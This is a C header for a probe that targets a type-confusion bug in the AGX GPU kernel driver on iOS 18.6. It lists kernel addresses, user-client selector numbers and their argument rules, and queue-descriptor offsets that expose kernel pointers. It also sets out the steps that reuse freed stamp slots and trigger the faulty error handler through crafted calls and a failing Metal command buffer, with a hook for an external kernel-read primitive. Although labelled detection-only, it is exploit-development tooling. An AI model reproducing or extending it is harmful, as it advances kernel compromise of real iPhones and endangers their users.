/*
 * agx-typeconf-probe.h — AGX stamp-slot type-confusion probe (iOS 18.6 / 22G86)
 *
 * Bug (AGX-TYPE-CONFUSION.md):
 *   handleChannelErrorEvent @ 0xfffffff00880ae2c (18.6)
 *   obj = AGXFirmwareResourceStack([this+0x1f8]).getElement(stamp_idx)
 *   lck_mtx_lock([obj+0x228])          // mutex*  — NO type check
 *   walk [obj+0x220]                   // work-queue* — NO type check
 *   The safeMetaCast(obj, AGXChannel::gMetaClass) guard was added in
 *   27.0.1 ONLY — absent on 18.6 and 26.0.
 *
 * Shared stamp-index space: AGXChannel (0x240), AGXInvalidChannel (0x38),
 * AGXTimeStampQueue (0x40), AGXCommandQueue (0x870), AGXLateEvalEvent,
 * AGXParameterManagement. A reused stamp slot yields OOB or wrong-layout
 * deref at +0x220 / +0x228.
 *
 * User surface: IOGPUDeviceUserClient sMethods @ 0xfffffff007e7f3a0 (64 sel).
 *   sel  0  0xfffffff009e65d7c  new_command_queue   (alloc stamp slot)
 *   sel  1  0xfffffff009e65e8c  delete_command_queue (free stamp slot)
 *   sel  9  0xfffffff009e66580  in+out UNBOUNDED
 *   sel 26  0xfffffff009e6694c  4 scalars + UNBOUNDED in
 *
 * FIRST PASS = DETECTION ONLY.
 *   - No kernel writes. KRW bridge is kread-only.
 *   - Every IOConnectCallMethod error is recorded, never fatal.
 *   - Cleanup always runs (delete remaining queues, close connection).
 *   - If the device panics, the crash log IS the data.
 *   - CRASH-SAFE: the probe installs a SIGSEGV/SIGBUS/SIGILL/SIGABRT
 *     guard and longjmps to a [VERIFY] report instead of killing the
 *     app.  Every external call (IOKit / Metal / dlsym / darksword /
 *     kread) is nil- or plausibility-checked before use.
 *
 * Build (device / Xcode target):
 *   clang -arch arm64e -isysroot $SDK -fno-objc-arc -c agx-typeconf-probe.c
 * Standalone smoke (host):
 *   clang -DAGX_TYPECONF_PROBE_MAIN -o agx-typeconf-probe agx-typeconf-probe.c
 */
#ifndef AGX_TYPECONF_PROBE_H
#define AGX_TYPECONF_PROBE_H

#include <mach/mach.h>
#include <IOKit/IOKitLib.h>
#include <stdint.h>
#include <stddef.h>
#include <string.h>

#ifdef __cplusplus
extern "C" {
#endif

/* --------------------------------------------------------------------
 * IOGPUDeviceUserClient selector numbers (18.6, 64-entry table
 * at 0xfffffff007e7f3a0, stride 24, IOExternalMethodDispatch).
 *
 * Size fields are [checkScalarIn, checkStructIn, checkScalarOut,
 * checkStructOut].  The generic IOUserClient::externalMethod rejects any
 * call whose counts do not match EXACTLY (0 = must be absent; 0xffffffff
 * = unbounded).  outputStructCnt MUST be a size_t — a uint32_t makes the
 * kernel read 8 bytes and fail the equality check with BadArgument.
 * ------------------------------------------------------------------ */
#define AGX_SEL_NEW_COMMAND_QUEUE     0   /* inS=0 inSt=0 outS=0 outSt=64
                                             s_new_command_queue            */
#define AGX_SEL_DELETE_COMMAND_QUEUE  1   /* inS=0 inSt=0 outS=0 outSt=64
                                             s_delete_command_queue
                                             (18.6 impl: strlcpy of device
                                              name into the 64B out struct) */
#define AGX_SEL_NEW_RESOURCE          2   /* inS=0 inSt=0 outS=0 outSt=536  */
#define AGX_SEL_UNBOUNDED_IO          9   /* inS=0 inSt=UNBND outS=0 outSt=UNBND
                                             s_new_resource; in must be
                                             >= 0x58 bytes                 */
#define AGX_SEL_QUERY_SMALL          17   /* inS=0 inSt=0 outS=0 outSt=8    */
#define AGX_SEL_QUERY_TINY           18   /* inS=0 inSt=0 outS=0 outSt=4    */
#define AGX_SEL_QUERY_WIDE           22   /* inS=0 inSt=0 outS=0 outSt=48   */
#define AGX_SEL_UNBOUNDED_OUT        23   /* inS=0 inSt=0 outS=0 outSt=UNBND */
#define AGX_SEL_SCALAR4_UNBND_IN     26   /* inS=4 inSt=UNBND outS=0 outSt=0
                                             s_submit_command_buffers; blob
                                             +0x10/+0x18 = elem_count/size
                                             whose product must equal in_len */

/* Queue-create result size (sel 0 / sel 1 outStruct). */
#define AGX_QUEUE_OUT_SIZE           64

/* Offsets inside the sel 0 64-byte queue descriptor (AGX-ABI-FIX.md). */
#define AGX_QOUT_FLAGS_OFF           0x00   /* u32 device flags           */
#define AGX_QOUT_DEV1F8_OFF          0x04   /* u32 dev+0x1f8              */
#define AGX_QOUT_QPTR_OFF            0x08   /* u64 queue object ptr       */
#define AGX_QOUT_DEV208_OFF          0x10   /* u64 dev+0x208              */
#define AGX_QOUT_SERIAL_OFF          0x20   /* u64 timestamp / serial     */
#define AGX_QOUT_RESPTR_OFF          0x28   /* u64 resource ptr           */

/* Max queues we will allocate in one probe run. */
#define AGX_MAX_QUEUES               32

/* Crafted sel 9 / sel 26 blob sizes. */
#define AGX_SEL9_BLOB                0x200
#define AGX_SEL26_BLOB               0x180

/* --------------------------------------------------------------------
 * Optional KRW bridge (KexProofV2 ClearSword). NULL = userspace-only.
 * kread is the ONLY primitive used — never kwrite.
 * ------------------------------------------------------------------ */
typedef struct agx_tc_krw {
    /* return 0 on success; len in bytes */
    int      (*kread)(uint64_t addr, void *buf, size_t len);
    /* strip PAC / SMR tags (kp_untag_ptr) */
    uint64_t (*untag)(uint64_t p);

    /* Known 18.6 kernel VAs (0 = skip the corresponding check). */
    uint64_t agx_channel_size;             /* 0x240 */
    uint64_t agx_invalid_channel_size;     /* 0x38  */
    uint64_t agx_timestamp_queue_size;     /* 0x40  */
    uint64_t agx_command_queue_size;       /* 0x870 */
    uint64_t handle_channel_error_event;   /* 0xfffffff00880ae2c area   */
    uint64_t resource_stack_get_element;   /* 0xfffffff009e6b710        */
    uint64_t agx_channel_gmetaclass;       /* 0xfffffff00b3f5a80 (27.0.1);
                                              resolve on 18.6 or leave 0 */
    uint64_t iogpu_uc_vtab;                /* 0xfffffff007e7ed28        */

    /* Optional: kernel VA of our task, used to sanity-check kread. */
    uint64_t self_task_va;
} agx_tc_krw_t;

/* --------------------------------------------------------------------
 * Per-phase observation block.
 * ------------------------------------------------------------------ */
typedef struct agx_tc_result {
    /* Open path that worked. */
    int      open_via_iogpu_device;   /* 1 = IOServiceMatching("IOGPUDevice") */
    int      open_via_iogpu;          /* 1 = IOServiceMatching("IOGPU")       */
    int      open_via_agx;            /* 1 = IOServiceMatching("AGXDevice")   */
    int      open_metal_hint;         /* 1 = Metal fallback suggested         */
    io_connect_t conn;
    kern_return_t open_kr;

    /* Baseline query. */
    kern_return_t base_kr;
    uint32_t      base_out[16];
    uint32_t      base_out_len;

    /* Phase A — stamp pressure. */
    uint32_t queues_created;
    uint32_t queues_deleted;
    uint32_t create_kr_ok;
    uint32_t delete_kr_ok;
    uint32_t other_sel_ok;
    uint32_t other_sel_fail;
    uint8_t  queue_out[AGX_MAX_QUEUES][AGX_QUEUE_OUT_SIZE];
    kern_return_t queue_create_kr[AGX_MAX_QUEUES];
    kern_return_t queue_delete_kr[AGX_MAX_QUEUES];
    uint32_t queues_kept;             /* still live at end of Phase A */

    /* Phase B — ChannelError trigger attempts. */
    kern_return_t sel9_kr;            /* freed-slot attempt (kept for VERIFY) */
    kern_return_t sel26_kr;           /* freed-slot attempt (kept for VERIFY) */
    kern_return_t sel9_live_kr;       /* sel 9 against a LIVE queue handle   */
    kern_return_t sel26_live_kr;      /* sel 26 with a LIVE queue handle     */
    uint32_t      sel9_out_len;
    uint32_t      sel26_out_len;
    uint32_t      channel_err_fired;  /* any trigger returned non-error that
                                         may have queued a firmware event */
    uint32_t      trigger_attempts;

    /* Live-queue identity taken from sel 0 output (+0x08 queue ptr). */
    uint64_t live_qptr;               /* full queue object pointer        */
    uint32_t live_handle;             /* low 32 bits — sel 26 handle      */
    uint32_t live_idx;                /* queue_out[] index of that queue  */
    uint32_t freed_idx;               /* queue_out[] index of a deleted   */

    /* Phase C — Metal error trigger (bad command buffer). */
    int      metal_ran;               /* 1 = Metal path attempted         */
    int      metal_ok;                /* 1 = device + queue created       */
    int      metal_status;            /* MTLCommandBufferStatus (or -1)   */
    int      metal_err;               /* 1 = status == Error              */
    uint32_t metal_trigs;             /* error-trigger attempts           */

    /* Phase D — post-trigger observation. */
    kern_return_t post_kr;            /* baseline query after trigger */
    int           conn_alive;         /* connection still usable      */
    uint32_t      corrupt;            /* KRW detected +0x220/+0x228 change */

    /* KRW snapshots (0 if not run). */
    uint64_t slot_va_seen;
    uint64_t slot_220_before;
    uint64_t slot_220_after;
    uint64_t slot_228_before;
    uint64_t slot_228_after;
    uint32_t slot_type_before;
    uint32_t slot_type_after;
    int      krw_ran;

    /* Misc. */
    int      getuid_val;
    uint32_t total_calls;
    uint32_t total_errors;
} agx_tc_result_t;

/* --------------------------------------------------------------------
 * API
 * ------------------------------------------------------------------ */

/*
 * Run one full probe cycle:
 *   open → baseline → Phase A (create/delete pressure) →
 *   Phase B (sel 9 / sel 26 crafted trigger) → observe → cleanup.
 *
 * Writes a KPDump-style text report into buf (NUL-terminated).
 * Returns strlen(buf). The last line is always a [VERIFY] line.
 *
 * krw may be NULL (userspace-only mode). When present, the probe kreads
 * candidate stamp-slot objects before/after Phase B and diffs +0x220/+0x228.
 *
 * NEVER writes kernel memory. Never panics on purpose — if the device
 * reboots, the panic log is the confirmation.
 */
size_t agx_typeconf_probe_run(char *buf, size_t buflen,
                              const agx_tc_krw_t *krw);

/*
 * Single-purpose helpers (exported for the ObjC bridge / unit tests).
 *
 * ABI note: sel 0 and sel 1 are OUTPUT-ONLY (inS=0 inSt=0 outSt=64).
 * They take no input.  agx_tc_delete_queue's out64 receives the 64-byte
 * snapshot the handler writes; the previous queue descriptor is ignored
 * by the kernel.  Always pass a size_t for outputStructCnt — never a
 * uint32_t*.
 */
kern_return_t agx_tc_open(io_connect_t *out_conn, int *out_path);
kern_return_t agx_tc_close(io_connect_t conn);
kern_return_t agx_tc_create_queue(io_connect_t conn, void *out64);
kern_return_t agx_tc_delete_queue(io_connect_t conn, void *out64);
kern_return_t agx_tc_query(io_connect_t conn, uint32_t sel,
                           void *out, size_t out_len, size_t *out_used);
kern_return_t agx_tc_sel9(io_connect_t conn,
                          const void *in, size_t in_len,
                          void *out, size_t *out_len);
kern_return_t agx_tc_sel26(io_connect_t conn,
                           const uint64_t scalars[4],
                           const void *in, size_t in_len);

/*
 * Extract the sel 26 handle from a sel 0 64-byte queue descriptor.
 * +0x08 is the queue object pointer (AGX-ABI-FIX.md).  The handle used
 * by s_submit_command_buffers is the low 32 bits of that pointer and
 * MUST come from a LIVE queue — a deleted one is looked up in
 * [target+0x120] and fails as kIOReturnUnsupported.
 */
static inline uint32_t agx_tc_queue_handle(const void *out64)
{
    uint64_t qptr = 0;
    if (!out64) return 0;
    memcpy(&qptr, (const uint8_t *)out64 + AGX_QOUT_QPTR_OFF, 8);
    return (uint32_t)(qptr & 0xffffffffu);
}

static inline uint64_t agx_tc_queue_ptr(const void *out64)
{
    uint64_t qptr = 0;
    if (!out64) return 0;
    memcpy(&qptr, (const uint8_t *)out64 + AGX_QOUT_QPTR_OFF, 8);
    return qptr;
}

/*
 * Metal error trigger — submit a command buffer that will fail and wait
 * for completion.  Drives the same firmware ChannelError path that
 * handleChannelErrorEvent consumes.
 *
 * Returns 0 if the Metal path ran (status out-param is set), -1 if Metal
 * is unavailable.  Detection only: no kernel writes.
 *
 * Built via the ObjC runtime so this header / the .c stay pure C and
 * Theos-compatible (Metal.framework is already linked by KexProofV2).
 */
int agx_tc_metal_error_trigger(int *out_status, int *out_err);

#ifdef __cplusplus
}
#endif
#endif /* AGX_TYPECONF_PROBE_H */
